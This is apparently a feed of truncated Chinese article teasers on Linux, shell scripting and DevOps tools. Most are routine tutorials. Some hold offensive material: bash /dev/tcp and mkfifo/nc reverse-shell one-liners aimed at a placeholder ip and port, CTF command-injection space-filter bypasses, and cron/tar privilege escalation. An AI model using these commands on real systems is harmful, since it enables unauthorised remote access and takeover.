1. debootstrap 如果你和我一样使用debian&#xff0c;那么你可以使用debootstrap来搭建一个真实的环境。&#xff08;ubuntu似乎也能用&#xff0c;自行了解吧&#xff09; # 第一个参数是发现版本&#xff0c;用的testing版本 # 第二个参数./testing是下载保存位置 # 第三个…

spring中怎样优化第三方bean?

需求:将数据库连接四要素提取到properties配置文件&#xff0c;spring来加载配置信息并使用这些信息来完成属性注入。第三方bean属性优化的思路如下&#xff1a; 1.在resources下创建一个jdbc.properties(文件的名称可以任意) 2.将数据库连接四要素配置到配置文件中 3.在Spr…

k8s环境搭建 环境初始化

k8s环境搭建 环境初始化 环境初始化 这里以三台主机为例&#xff0c;一台master节点&#xff0c;两台node节点 检查操作系统版本,kubeadm要求版本在7.5以上 cat /etc/redhat-release主机名解析&#xff0c;编辑三台服务器在 /etc/hosts 文件下&#xff0c;添加一下内…

Linux shell编程

Shell脚本入门 touch helloWorld.sh 【创建脚本文件】 vim helloWorld.sh 【编辑文件】 以#!/bin/bash开头 echo "helloWorld" 调用脚本 方式一&#xff1a;bash 【绝对路径|相对路径】 方式二&#xff1a;chomd x helloWorld.sh 绝对…

~~~~~不得不会的账号与权限管理小知识

目录一.用户账号和组账号概述二. useradd添加用户账号三. passwd 修改密码四. 修改用户账户的属性五 . userdel 删除用户账号六. 用户账号的初始配置文件七. 组账号文件八 . 文件/目录的权限及归属8.1设置文件和目录的权限chmod8.2 设置文件和目录的归属chown命令8.3 补充扩展:…

rhce第二次作业

配置ssh免密登陆&#xff0c;能够通过客户端主机通过redhat用户和服务端主机基于公钥验证方式进行远程连接 [root456 ~]# hostname host [root456 ~]# bash \\更改名称[roothost ~]# su redhat …

VNC使用

VNC介绍 VNC的安装和常用命令 http://t.zoukankan.com/Jtianlin-p-4230527.html vnc server是干嘛的? VNC&#xff1a;虚拟网络控制台 首先,它是一个用来共享linux服务器上的资源给其他分布式用户的服务&#xff0c;只要在一台linux 系统的机器上安装vncserver,然后开启服务…

【Linux】-- Ubuntu vimtutor官方教程(中文翻译版)

进入Ubuntu系统后&#xff0c;首先打开终端&#xff08;ctrl alt t&#xff09;,在终端命令行里输入sudo apt-get install vim-gtk&#xff0c;安装成功后&#xff0c;输入&#xff1a;vimtutor&#xff0c;即可打开VIM教程。 以下是VIM官方教程中文版&#xff0c;对比着跟着…

shell编程入门 第一章 基本语法

shell编程的语法主要分为五个环节&#xff0c;分别是变量&#xff0c;字符串&#xff0c;运算符&#xff0c;流程控制&#xff0c;函数五大部分 shell编程的基础语法 一 变量1.1 shell变量名1.2 使用shell变量1.3只读变量1.4 删除变量 二 字符串2.1 定义时最好用双引号2.2获取字…

Apollo自动驾驶开发笔记46——apollo coredump的生成和调试

Apollo自动驾驶开发笔记46——apollo coredump的生成和调试 一级目录1、 检查核心转储是否打开2、在当前命令终端中打开核心转储3、打开apollo某个dag的coredumpapollo调试coredump方法一级目录 大多数系统默认关闭了核心转储功能,需重新设置打开。 1、 检查核心转储是否打开…

RHCE---服务+ansible

一、命令提示符颜色 也可以写入配置文件/etc/profile [rootmaster ~]# vim .bashrc 绿色&#xff1a; PS1\[\033[01;32m\]\u\H:\[\033[01;34m\]\w\$\[\033[00m\] 粉红色&#xff1a; PS1\[\e[1;35m\]\u\h:\[\e[0m\]\[\e[1;33m\]\w\[\e[1;35m\]\[\e[0m\]\[\e[1;34m\]\$ \[\e[0…

windows上Git Bash支持常用命令gcc tree zip wget cmake ninja

windows上Git Bash支持常用命令gcc tree zip wget cmake ninja 前言 Git Bash基于MinGW64, 提供了win32下的linux命令环境&#xff0c;如ls、cat、tar等。 但是Git Bash还是缺少一些命令&#xff0c;如gcc、make、tree、zip、wget、cmake、ninja等 1. Git Bash支持其他命令…

linux交叉编译环境搭建 gcc + openocd + stlink + cubeMX + cortex Debug

文章目录 运行环境&#xff1a;1.1 gcc1)下载并解压gcc2)环境配置 2.1 openocd1)下载并解压openocd2)环境配置&#xff08;没有权限就加sudo&#xff09; 3.1 stlink1)下载并双击安装stlink 4.1 cubeMX1)下载并解压cubeMX2)生成makefile工程 5.1 cortex Debug1)setting设置2)la…

Homebrew教程

英文官网&#xff1a;Homebrew — The Missing Package Manager for macOS (or Linux) 中文官网&#xff1a;macOS&#xff08;或 Linux&#xff09;缺失的软件包的管理器 — Homebrew 1 简介 Homebrew 由开发者 Max Howell 开发&#xff0c;并基于 BSD 开源&#xff0c;是一…

CentOS计划任务的用法

1、crontab &#xff08;选项&#xff09;&#xff08;参数&#xff09; -e&#xff1a;编辑该用户的计时器设置&#xff1b; -l&#xff1a;列出该用户的计时器设置&#xff1b; -r&#xff1a;删除该用户的计时器设置&#xff1b; -u<用户名称>&#xff1a;指定要设定计…

Rocky Linux 8 安装实时内核

【方法一&#xff1a;yum 安装】 在 /etc/yum.repos.d 目录下新建一个Rocky8-rt.repo安装rt内核和相关工具$ sudo yum install kernel-rt重启系统$ sudo reboot【方法二&#xff1a;rpm安装】 查看系统内核版本$ uname -a 4.18.0-425.3.1.el8_7.x86_64根据系统内核版本下载实…

shell脚本实现删除服务器指定目录下文件方法

删除4天前的文件 #!/bin/bash# 指定要删除文件的目录路径 folder_path"/path/to/folder"# 查找并删除4天以前的文件 find $folder_path -type f -mtime 3 -delete# 输出删除完成的提示信息 echo "4 days old files have been deleted from $folder_path."…

谈谈常用Reverse shell,以及他们是怎么做到的。

谈谈常用Reverse shell&#xff0c;以及他们是怎么做到的。 前言/bin/bash -i >& /dev/tcp/ip/port 0>&1/bin/bash -i>&/dev/tcp0>&1结合起来 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ip port >/tmp/frm /tmp/fmkfifo…

【Homebrew】MacBook的第二个AppStore

英文官网&#xff1a;Homebrew — The Missing Package Manager for macOS (or Linux) 中文官网&#xff1a;macOS&#xff08;或 Linux&#xff09;缺失的软件包的管理器 — Homebrew 1 简介 Homebrew 由开发者 Max Howell 开发&#xff0c;并基于 BSD 开源&#xff0c;是一…

Linux基础命令cd,在使用时有哪些小技巧?

Linux是一种常见的操作系统&#xff0c;具有强大的功能和灵活性。在Linux系统中&#xff0c;用户可以使用多种命令来完成不同的任务&#xff0c;其中cd命令是最常用的之一。本文将介绍cd命令的基本功能以及如何使用它来管理Linux文件系统。 什么是cd&#xff1f; 首先&#x…

最全Linux环境开发——shell编程

Linux下shell编程 一、什么是shell shell是一个用 C 语言编写的程序&#xff0c;它是用户使用 Linux 的桥梁。Shell 既是一种命令语言&#xff0c;又是一种程序设计语言。 shell 本质上是 linux 命令&#xff0c;一条一条命令组合在一起&#xff0c;实现某一个目的&#xff…

shell脚本基础之处理脚本输入

处理输入命令行参数读取参数读取脚本名测试参数特殊参数变量参数统计获取所有参数移动变量处理选项查找选项处理简单选项分离选项和参数处理带值的选项getopt 命令命令格式在脚本中使用getoptgetopts命令脚本选项标准化获取用户的输入基本的读取超时隐藏式读取文件中读取在此之…

linux 下/etc/profile、/etc/bashrc、~/.bash_profile、~/.bashrc 文件的区别

/etc/profile:此文件为系统的每个用户设置环境信息,当用户第一次登录时,该文件被执行. 并从/etc/profile.d目录的配置文件中搜集shell的设置. /etc/bashrc:为每一个运行bash shell的用户执行此文件.当bash shell被打开时,该文件被读取. ~/.bash_profile:每个用户都可使用该文…

shell脚本中函数的运用

shell脚本中函数的运用 一、函数的定义二、函数的作用范围三、实验1、阶乘2、函数库 一、函数的定义 shell函数是经常使用的&#xff0c;因为有些命令序列是需要反复调用执行的&#xff0c;将命令序列按格式写在一起&#xff0c;以便可以重复的使用。 shell函数&#xff1a; 使…

bash简单常见用法

bash新建自定义数组 myArray() for ((i 0 ; i < 5 ; i )) do myArray[$i]"AAAA{$i}DD" done echo ${myArray[]} #输出结果是AAAA{0}DD AAAA{1}DD AAAA{2}DD AAAA{3}DD AAAA{4}DD 提取文件名成功 projects"D:/Project/Program/IDEAWorkspace/myauto/automati…

Linux解除指定端口占用进程教程

Linux 解除指定端口占用进程教程 在 Linux 系统中&#xff0c;经常会遇到某个端口被占用的情况&#xff0c;这会导致某些服务无法正常运行。为了解决这个问题&#xff0c;我们需要找到占用该端口的进程&#xff0c;并将其停止。本文将介绍 Linux 中如何解除指定端口占用进程的方…

Linux命令 ——sed

介绍 sed 是一种流式文本编辑器&#xff0c;常用于在 Unix 和类 Unix 系统中对文本进行处理。它可以将文本从标准输入或文件中读取&#xff0c;对其进行修改&#xff0c;然后将修改后的文本输出到标准输出或文件中。sed 是 “stream editor” 的缩写。 语法 sed 的基本语法为…

mac iterm2设置rz sz文件传输

1、安装lrzsz $ brew install lrzsz 2、创建并设置iterm2-send-zmodem.sh sudo vim /usr/local/bin/iterm2-send-zmodem.sh # /usr/local/bin/iterm2-send-zmodem.sh#!/bin/bash # Author: Matt Mastracci (matthewmastracci.com) # AppleScript from http://stackoverflow.com…

回炉重造八--系统启动和内核管理

系统启动和内核管理 1、系统启动 1.1 centos7启动的过程 UEFI或BIOS初始化&#xff0c;运行post开机自检选择启动的设备&#xff08;USB、硬盘、本地光盘&#xff09;引导装载程序&#xff0c;centos7是给grub2加载装载程序的配置文件&#xff1a; /etc/grub.d/ /etc/default…

呈现数据

章节目录&#xff1a; 一、理解输入和输出1.1 标准文件描述符1.2 重定向错误 二、在脚本中重定向输出2.1 临时重定向2.2 永久重定向 三、在脚本中重定向输入四、创建自己的重定向4.1 创建输出文件描述符4.2 创建输入文件描述符4.3 创建读/写文件描述符4.4 关闭文件描述符 五、列…

快速配置sftp环境步骤

快速配置sftp环境步骤 创建用户组&#xff1a; sudo groupadd sftphczjtbxd创建用户并将用户添加到组中&#xff0c;同时定义用户的主目录和登录shell&#xff1a; sudo useradd -G sftphczjtbxd -d /app/data/czjtb/xdfile -s /sbin/nologin czjtbxd 设置用户密码&#xff1a;…

CTF之命令执行常见绕过

命令执行常见绕过 1.空格代替 当我们执行系统命令时&#xff0c;不免会遇到空格&#xff0c;如cat flag.txt&#xff0c;当空格被程序过滤时&#xff0c;便需要利用以下字符尝试代替绕过&#xff1a; < ${IFS} $IFS$9 %09测试如下&#xff1a; $IFS 在 linux 下表示分隔…

Linux cut命令

Linux cut命令用于显示每行从开头算起 num1 到 num2 的文字。 语法 cut [-bn] [file] cut [-c] [file] cut [-df] [file]使用说明: cut 命令从文件的每一行剪切字节、字符和字段并将这些字节、字符和字段写至标准输出。 如果不指定 File 参数&#xff0c;cut 命令将读取标…

shell 函数和数组作业

1、编写函数&#xff0c;实现打印绿色OK和红色FAILED,判断是否有参数&#xff0c;存在为Ok&#xff0c;不存在为FAILED 2、编写函数&#xff0c;实现判断是否无位置参数&#xff0c;如无参数&#xff0c;提示错误 3、编写函数实现两个数字做为参数&#xff0c;返回最大值 4、…

Linux常用命令——history命令

在线Linux命令查询工具 history 用于显示历史命令 补充说明 history命令用于显示指定数目的指令命令&#xff0c;读取历史命令文件中的目录到历史命令缓冲区和将历史命令缓冲区中的目录写入命令文件。 该命令单独使用时&#xff0c;仅显示历史命令&#xff0c;在命令行中&a…

macOS与Ubuntu困惑解答

homebrew&#xff08;报管理器&#xff09;、yaml、apt-get、apt是包管理工具&#xff1b; zsh、bash都是解释器&#xff0c;是shell语言的解释器&#xff0c;都是服务于shell语言的&#xff0c;它们之间的区别是&#xff0c;zsh能够很好的兼容bash&#xff0c;zsh更优雅&…

【Linux】实现简易 bash --- 进程控制(创建,终止,等待),程序替换

测试效果 #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <assert.h> #include <string.h> #include <sys/types.h> #include <sys/wait.h> #define MAX 100 #define ARGV 64int split_command(char* comm…

Linux命令集(Linux文件管理命令--CP指令篇)

Linux命令集&#xff08;Linux文件管理命令--CP指令篇&#xff09; Linux文件管理命令集&#xff08;CP指令篇&#xff09;1. cp(copy)1. 强制复制文件&#xff0c;若目标文件已经存在&#xff0c;会直接覆盖而不提示2. 递归复制目录&#xff0c;将源目录及其子目录的文件或目录…

C++ Boost.Reflection库(现在是Boost.PFR)的下载、安装、使用详细教程

这里写目录标题 一、Boost.Reflection简介二、Boost.Reflection&#xff08;现在是Boost.PFR&#xff09;库的下载和安装2.1、下载编译Boost2.2、使用Boost.Reflection&#xff08;现在是Boost.PFR&#xff09; 小结 一、Boost.Reflection简介 ​ Boost.Reflection&#xff0…

【Android构建篇】MakeFile语法

前言 对于一个看不懂Makefile构建文件规则的人来说&#xff0c;这个Makefile语法和shell语法是真不一样&#xff0c;但是又引用了部分shell语法&#xff0c;可以说是shell语法的子类&#xff0c;Makefile语法继承了它。 和shell语法不一样&#xff0c;这个更难一点&#xff0…

Linux常用的压缩、解压缩以及scp远程传输命令的使用

Linux常用的压缩、解压缩以及scp远程传输命令的使用 1.压缩命令2 解压命令3. 大文件压缩分割为多个压缩文件4. 远程传输命令scp4.1 将本地文件复制到远程主机目录4.2 将本地目录复制到远程主机目录4.3 将远程主机的文件复制到本机4.4 复制远程主机目录到本机 1.压缩命令 tar -…

linux用户管理指令

这里写自定义目录标题 一 增加新用户及密码二 切换用户三 userdel 删除用户四 查看用户登录信息五 让普通用户成为管理员1. 修改环境配置文件2.设置用户和密码 六 查看创建哪些用户 一 增加新用户及密码 useradd:加用户名 passwd&#xff1a;加用户密码 [rootlocalhost ~]# u…

shell构建基本脚本

构建基本脚本 使用多个命令 一次使用多个命令&#xff0c;把它们放在一行&#xff0c;使用’;隔开 [rootmyserver ~]# date ; who; ls Sun May 14 23:39:34 CST 2023 root pts/0 2023-05-14 23:31 (192.168.10.1) anaconda-ks.cfg initial-setup-ks.cfg创建shel…

Linux 操作系统简介(1.1)

系列文章目录 第1章 Linux Shell简介 第2章 Shell基础 第3章 Bash Shell基础命令 第4章 Bash Shell命令进阶 第5章 Linux Shell深度理解 第6章 Linux环境变量 第7章 Linux文件权限 第8章 Linux文件系统的管理 第9章 Linux软件安装 第10章 Linux文本编辑器&#xff08;Vim&…

【Linux进阶命令 01】grep(文本的全局搜索与打印)

文章目录 一、grep命令&#xff08;全局搜索与打印&#xff09;1.1 语法1.2 主要参数1.3 测试准备1.4 grep命令使用示例1.5 应用示例 一、grep命令&#xff08;全局搜索与打印&#xff09; grep &#xff08;缩写来自Globally search a Regular Expression and Print&#xff0…

一个有趣的vc1编码器

这里分享一个vc1编码器&#xff0c;下载地址&#xff1a; https://download.csdn.net/download/weixin_43360707/87791898 文件包在附件&#xff0c;打开文件夹&#xff0c;可以看到下面三个文件夹&#xff1a; 因为我们的系统试Linux&#xff0c;所以我们选择Linux(x64). 继…

【安全知识】——LInux的shell反弹姿势合集(更新中)

作者名&#xff1a;白昼安全 主页面链接&#xff1a; 主页传送门 座右铭&#xff1a; 不要让时代的悲哀成为你的悲哀专研方向&#xff1a; web安全&#xff0c;后渗透技术每日鸡汤&#xff1a; 宇宙有宇宙的规律&#xff0c;我也有我的坚持 当我们拿到一台LINUX主机的权限时&am…

【libcurl 】win32 构建 Release版本 修改cmakelist 链接openssl1.1.*

以下库均已MD的构建以vs2019 V142构建MD构建 直接换用了一个openssl库,libcurl连接报错 $(ProjectDir)..\..\..\3rdparty\openssl\xdw_openssl1_1_1\lib\win32\libcrypto.lib

数据校验的艺术:从奇偶校验到CRC校验与海明校验

目录标题 一、引言 (Introduction)1.1 校验码的重要性&#xff08;The Importance of Check Codes&#xff09;1.2 校验码的基本工作原理&#xff08;The Basic Working Principle of Check Codes&#xff09;1.3 对本文的概述&#xff08;Overview of This Article&#xff09…

KVM存储池管理与磁盘格式

KVM存储池管理与磁盘格式 KVM必须配置一个目录作为存储磁盘镜像&#xff08;存储卷&#xff09;的目录&#xff0c;我们称这个目录为存储池 存储池管理 默认存储池 /var/lib/libvirt/images/ 创建基于文件夹的存储池&#xff08;目录&#xff09; mkdir -p /data/vmfs定义…

Linux Grep 正则表达式

grep是Linux中用于文本处理的最有用和功能最强大的命令之一。grep在一个或多个输入文件中搜索与正则表达式匹配的行&#xff0c;并将每条匹配的行写入到标准输出 正则表达式是与一组字符串匹配的模式。模式由运算符&#xff0c;文字字符和元字符组成&#xff0c;它们具有特殊的…

linux利用定时任务提权

背景&#xff1a; 运维为了防止数据丢失等&#xff0c;写个定时任务进行数据的打包压缩。由于数据打包压缩命令为tar&#xff0c;tar可以尝试加参数调用其他命令执行。 压缩命令&#xff1a;tar zxf 1.tar.gz /var/www/* 查看定时任务&#xff1a;cat /etc/crontab root权限下…

Linux高级(shell)

文章目录 一、shell概述Linux 提供的 Shell 解析器有bash 和 sh 的关系Centos 默认的解析器是 bash 二、shell脚本入门脚本格式第一个shell脚本&#xff1a;helloworld.sh 三、变量系统预定义变量自定义变量特殊变量 四、删除变量五、运算符六、条件判断七、流程控制if判断case…

minimatch 源码解析

minimatch 源码解析 文章目录minimatch 源码解析正文0. 基本信息1. 源码解析1.1 项目展开1.2 Minimatch1.2.1 构造函数1.2.2 make 初始化表达式解析1.2.3 裁剪前导 !1.2.4 花括号展开1.2.5 分段 & parse 正则表达式转换1.2.6 正则表达式转换&#xff1a;第一部分 - 初始化状…

【linuxs make 出现undefined reference to ‘std::__cxx11...】

类似这种&#xff1a; 解释一&#xff1a; 在CentOS系统上安装了gcc4.8.2和gcc7.2两个版本&#xff0c;gcc使用的是4.8.2版本&#xff0c;g使用的是7.2版本&#xff0c;使用make编译cmake时出现c11标准库未定义错误&#xff0c;两个版本的编译器使用的库版本也不同&#xff0c;…

记一次符合Google Coding Style的Bash脚本重构

最近我在思考这样一个问题&#xff0c;顺便看一下gpt对这个问题的解释。搜索发现&#xff1a; 团队写代码&#xff0c;为什么要遵循coding guideline&#xff1f; 一致性&#xff1a;编码准则确保整个团队的代码风格和格式是一致的&#xff0c;这使得团队成员之间更易于交流和…

bash运算符比较

运算符比较 –eq 相等 –ne 不等 –gt ⼤于 –ge ⼤于等于 –lt ⼩于 –le ⼩于等于 [rootWzcWyt wyt]# [ 1 -eq 1 ];echo $? 0 [rootWzcWyt wyt]# [ 1 -ne 2 ];echo $? 0 [rootWzcWyt wyt]# [ 3 -gt 2 ];echo $? 0 [rootWzcWyt wyt]# [ 3 -ge 2 ];echo $? 0 [rootWzcWyt…

Ubuntu下通过.sh文件同时启动多个程序系列3—gnome-terminal简单使用说明

gnome-terminal简单使用说明 gnome-terminal使用基本用法启动后自动执行命令废弃命令提示&#xff1a;~~-x和-e解释~~ 如何使用.bashrc里的内容 gnome-terminal使用 基本用法 1.gnome-terminal命令用于打开一个新的终端&#xff0c;直接在命令行 $ gnome-terminal就可以打开…

7.Linux移动(或重命名)文件和目录

在 Linux 中&#xff0c;可以使用 mv 命令来移动&#xff08;或重命名&#xff09;文件和目录&#xff08;文件夹&#xff09;。下面是一些常见的移动操作及其示例&#xff1a; 移动单个文件&#xff1a;使用 mv 命令加上要移动的文件和目标路径即可。 mv source_file.txt dest…

awk命令笔记

awk BEGIN { commands } PATTERN { commands } END { commands }begin块 body块 end块begin/end区分大小写&#xff0c;大写有效。空格可选。内置变量需大写。 执行流程&#xff1a; 1&#xff09;先执行begin块。 相当于循环初始化。 2&#x…

Linux shell 简介

文章目录 一、简介二、shell 执行命令的过程2.1 简介2.2 Linux shell 执行外部命令过程2.2.1 简介2.2.3 详细介绍 三、/usr/bin/ 和 /bin/ 目录3.1 简介3.2 区别3.2.1 简单区分3.2.2 详细区分 一、简介 Linux shell 是 Linux 操作系统中的命令行界面&#xff0c;也称为 shell …

Linux篇5

Shell常用命令 1. 磁盘管理类1.1 du&#xff1a;查看文件和目录占用的磁盘空间1.2 df&#xff1a;查看磁盘空间使用情况1.3 free&#xff1a;查看内存使用情况1.4 lsblk&#xff1a;查看设备挂载情况1.5 mount/umount&#xff1a;挂载/卸载1.6 fdisk&#xff1a;分区 2. 进程管…

chatgpt赋能Python-pythonfind

Python文件搜索工具Pythonfind 在开发过程中&#xff0c;文件搜索工具是一个非常重要的工具。在大型项目中&#xff0c;可能需要查找特定类型的文件或者在代码库中查找特定的代码块。 Pythonfind是一个非常强大和灵活的python文件搜索工具&#xff0c;可以帮助我们简化这个过程…

自动构建之CMake

CMake 链接: 自动构建之MakeFile CMake也是一种用于自动化构建软件项目的工具。Cmake可以自动输出MakeFile文件&#xff0c;并且CMake是一个跨平台的构建系统&#xff0c;对于复杂的、跨平台的项目&#xff0c;CMake可能是一个更好的解决方案。 CMake的脚本文件是在CMakeLis…

Linux:Linux常用操作命令

Linux常用操作命令 本篇博客将介绍Linux操作系统中常用的命令&#xff0c;并为每个命令提供详细的介绍说明和相关的脚本实例。 系统帮助命令 man命令 man命令用于查看命令的详细手册页。 # 查看ls命令的帮助手册 man lshelp命令 help命令用于获取shell内置命令的简要帮助…

git bash下载gitee项目报错:no such file found

错误再现 解决方案&#xff1a;设置SSH Key 第一步&#xff1a;右击git bash here&#xff0c;命令行输入 $ git config --global user.name “hcshow” //配置用户名 $ git config --global user.email “hcitlifehotmail.com” //配置用户邮箱地址 此时可以查看用户名等信息…

一文搞定Shell编程中的单引号、双引号、反引号和转义符的区别和使用

前言 Shell编程中&#xff0c;不仅会是使用变量&#xff0c;还经常会使用$、\、单引号、双引号、反引号等符号。 这些符号在使用中&#xff0c;有时候难免混乱&#xff0c;所以整理此文&#xff0c;便于学习&#xff0c;希望对你有用 文章目录 前言一. 符号的介绍与对比二. 单…

day 5

1.总结变量的类型及含义&#xff1f; 变量类型: 1,自定义变量: 在当前的shell命令行界面设置的变量是局部变量 例: num1 namezhangsan 含义:仅在当前shell生效. 2,环境变量: 全局变量,通过export 导出后的局部变量是全局变量 例: …

linux让某程序变为服务程序以及防火墙开放某个端口

一、变为服务程序——目的让程序变为服务长期后台运行&#xff0c;并在程序意外停止时重启服务。 1.1将程序mytest移到/usr/local/bin目录下 1.2将mytest变为服务程序 vim /etc/systemd/system/mytest.service [Unit] Descriptionmytest service Afternetwork.target[Service…

1751_使用Perl进行目录的创建于删除

全部学习汇总&#xff1a; GreyZhang/perl_basic: some perl basic learning notes. (github.com) 不管是用Perl还是Python&#xff0c;之前写代码的时候遇到需要进行目录的创建或者删除指令的时候我通常会直接调用Windows的相关命令或者使用移植过来的bash shell命令。其实&am…

Makefile基础教学(include的使用方法)

文章目录 前言一、include在makefile中的概念介绍二、include使用示例三、include中需要注意的一些操作1. 在include前加-选项2. include触发规则创建了文件会发生什么3. include包含的文件夹存在 总结 前言 本篇文章将讲解include的使用方法&#xff0c;在C语言中使用include…

【编译、链接、装载二】/lib/ld64.so.1: bad ELF interpreter: 没有那个文件或目录

【编译和链接二】bash: ./test.out: /lib/ld64.so.1: bad ELF interpreter: 没有那个文件或目录 一、问题起因二、ldd查看三、解决方案一&#xff1a;使用gcc链接四、查找其他解决方案五、解决方案二&#xff1a;软链接 bash: ./test.out: /lib/ld64.so.1: bad ELF interpreter…

Linux nohup-后台挂起运行程序神器

一. 场景描述 天黑了&#xff0c;我得离开实验室去吃饭了。为了环保&#xff0c;我必须关闭电脑&#xff0c;减少不必要的浪费&#xff01;正常情况下当我关闭终端或电脑时&#xff0c;上面运行的任务代码即会自动停止&#xff0c;但我依旧希望保持代码的正常运行&#xff0c;此…

静态库与动态库的构建(含具体代码可以实操)

程序编译顺序 程序编译需要通过调用 预处理器 main.c->main.i 指令&#xff1a;gcc -E main.c -o main.i 作用&#xff1a;#define删除、展开宏、处理带#的条件编译指令、条件语句中符合条件的会保留&#xff0c;不符合的会删除&#xff0c;插入include、删除注释、添加行号…

Shell脚本攻略:数组

目录 一、理论 1.数组概述 2.定义数组 3.数组打印 4.数组的数据类型及处理 5.数组赋值 6.数组遍历 7.数组切片 8.数组替换 9.删除数组 10.追加数组中的元素 11.数组排序算法 二、实验 1.实验一 2.实验二 3.实验三 一、理论 1.数组概述 数组是Shell的一种特殊变…

【Linux之shell 环境】

文章目录 什么存储在环境变量中&#xff1f;检查环境变量一些有趣的环境变量如何建立 shell 环境&#xff1f;一个启动文件的内容修改 shell 环境应该修改哪个文件&#xff1f;文本编辑器使用文本编辑器激活修改 1. 什么存储在环境变量中&#xff1f; shell 在环境中存储了两…

智能路由器开发之创建一个procd init脚本示例

智能路由器开发之创建一个procd init脚本示例 Procd init脚本默认提供了许多好用的功能&#xff0c;例如重启策略和能够从UCI系统中存储和读取配置。 设置 举个例子&#xff0c;假设我们想创建一个作为服务的Shell脚本&#xff0c;并且这个服务可以通过消息和超时时间进行配…

RHCE练习题目【更新至】

文章目录 第一题、安装和配置ansible第二题、创建和运行ansible临时命令第三题、使用剧本安装软件包第四题、使用RHEL系统脚色第一问、配置时间同步第二问、配置selinux 第五题、使用Ansible Galaxy安装角色第六题、创建和使用角色第七题、从Ansible Galaxy使用角色第八题、创建…

glog_bash:在bash中优雅输出日志

介绍 官方仓库&#xff1a;https://github.com/GuoFlight/glog_bash 。下载其中的glog_bash.sh即可。 这是专门用于bash脚本中的logger&#xff0c;名为glog_bash。其中&#xff0c;gfor 郭。 如果有帮助到你&#xff0c;欢迎Star。 有任何需求和问题&#xff0c;可以联系我…

关于docker容器环境变量探讨---以gitlabrunner 为例

零 摘要 一 环境信息 二 准备知识 2.1 linux shell https://www.vanimpe.eu/2014/01/18/different-shell-types-interactive-non-interactive-login/ 2.1.1 A login shell A login shell is the shell that is run when you log in to a system, either via the terminal…

【跟晓月学shell脚本】掌握shell脚本变量实战案例

前言 上篇文章我们探讨了shell脚本变量的基本原理和概念&#xff0c;本篇我们基于上面的内容增加一些实战。 如果你还没有学习shell脚本的变量理论&#xff0c;可以点击链接&#xff1a;【跟晓月学shell脚本】掌握shell脚本变量原理及概念 可以关注我的云原生社区&#xff1…

【跟晓月学shell脚本】掌握shell脚本变量原理及概念

前言 跟晓月一起学shell&#xff0c;死磕shell脚本&#xff0c;让shell脚本学习不再难。 想学习更多shell脚本的案例&#xff0c;可以前往我的师父的shell脚本专栏&#xff1a;shell脚本从入门到实战-案例篇 文章目录 前言一. 什么是变量&#xff1f;二. 变量分类2.1 按照变…

shell脚本开头

在 shell 脚本的开头&#xff0c;通常会指定脚本的解释器。这是通过使用 #! 开头的行来完成的&#xff0c;接下来是解释器的路径。例如&#xff0c;下面是一个使用 bash 作为解释器的示例&#xff1a; #!/bin/bash这个行就是 shell 脚本的开头。它告诉系统&#xff0c;这个脚本…

shell脚本怎么获取当前脚本名称(获取脚本文件名)$(basename “$0“)(basename命令:去除字符串路径部分、去除后缀)

文章目录 shell脚本如何获取当前执行脚本名称解释&#xff1a;$(basename "$0")$0&#xff08;当前脚本的名称&#xff0c;带脚本与工作目录之间的相对路径&#xff09;basename&#xff08;去除字符串路径部分&#xff09;示例 拓展&#xff1a;basename命令的完整用…

Git Bash介绍

Git Bash介绍 Git是一个版本控制工具&#xff0c;而Git Bash是在Windows系统中运行Git命令的命令行界面工具。您可以使用Git Bash来管理和操作Git仓库。当你在Windows系统上安装Git时&#xff0c;它会默认安装Git Bash。 Git Bash是git(版本管理器)中提供的一个命令行工具&am…

mysqldump 5.7->8.0

备份shell命令&#xff1a; ‘mysqldump --column-statistics0 --set-gtid-purgedOFF \-h{ip} -u{user} -p{passwd} {parameter} --add-drop-database --databases {database} > {backup_path}/{database}_{date}.sql’-set-gtid-purgedoff 这个参数防止报gtid错误&#x…

is-path-cwd 源码解析(Npm library)

is-path-cwd 源码解析(Npm library) 文章目录is-path-cwd 源码解析(Npm library)正文0. 基本信息1. 源码解析其他资源参考连接阅读笔记参考正文 0. 基本信息 version&#xff1a;v3.0.0功能&#xff1a;检查字符串是否为当前工作目录&#xff08;与 process.cwd 比较&#xf…

-bash: conda: command not found

参考博客【解决】bash: conda: command not found export PATH/zhangx/anaconda3/bin:$PATH

CentOS8安装Allure

一、CentOS8安装Allure 1. 下载安装文件allure-2.17.2.tgz https://github.com/allure-framework/allure2/releases wget https://github.com/allure-framework/allure2/releases/download/2.17.2/allure-2.17.2.tgz2. 解压allure-2.17.2.tgz tar -zvxf allure-2.17.2.tgz…

Linux 参数代换 命令 xargs

xargs 命令也是管道命令中的一员。xargs命令的功能简单来说就是参数代换。那么什么叫做参数代换&#xff0c;这里首先要了解管道的概念。在 linux管道 命令一节中我们详细介绍了管道命令的概念。这里我们只是简单进行一下说明。首先我们来看一下管道命令的流程图 也就是管道前…

Linux操作指令(基于Ubuntu之下的)

文章目录常用指令系统管理命令打包压缩相关命令关机/重启机器Linux管道Linux软件包管理vim使用用户及用户组管理更改文件的用户及用户组文件权限管理更改权限日期格式化修改密码&#xff1a;忘记密码常用指令 ls   显示文件或目录-l 列出文件详细信息l(lis…

centos6.5配置换源

centos6.5配置换源配置文件命令配置文件 /etc/yum.repos.d/CentOS-Base.repo [base] nameCentOS-$releasever - Base #mirrorlisthttp://mirrorlist.centos.org/?release$releasever&arch$basearch&repoos&infra$infra #baseurlhttp://mirror.centos.org/centos…

Linux一键安装JDK(脚本可执行)

Linux base shell 脚本案例 安装JDK&#xff08;脚本可执行&#xff09; 系统环境 Linux服务器&#xff0c;作者使用centos7操作系统&#xff0c;支持裸机安装JDK或者没有安装过JDK的用户安装JDK。 运行说明 拥有root用户使用权 将安装脚本和JDK安装包(tar.gz包)拷贝至服务…

shell开发快速入门

shell开发快速入门 文章目录shell开发快速入门初识bash什么是shellbash shell的主要功能shell的变量变量的设置与显示变量的规则变量的作用域变量的类型变量内容的变更bash的环境配置文件login shell的配置文件读取流程bash的通配符bash的特殊字符数据流重定向双向重定向命令分…

readline

readline手册INITIALIZATION FILEKey BindingsINITIALIZATION FILE Readline 通过一个初始化文件&#xff08;即 inputrc 文件&#xff09;中命令进行个性化定制。此文件的名称取自 INPUTRC 环境变量的值。如果环境变量 INPUTRC 未设置&#xff0c;则默认值为 ~/.inputrc。如果…

[基础]反弹shell--不定期更新

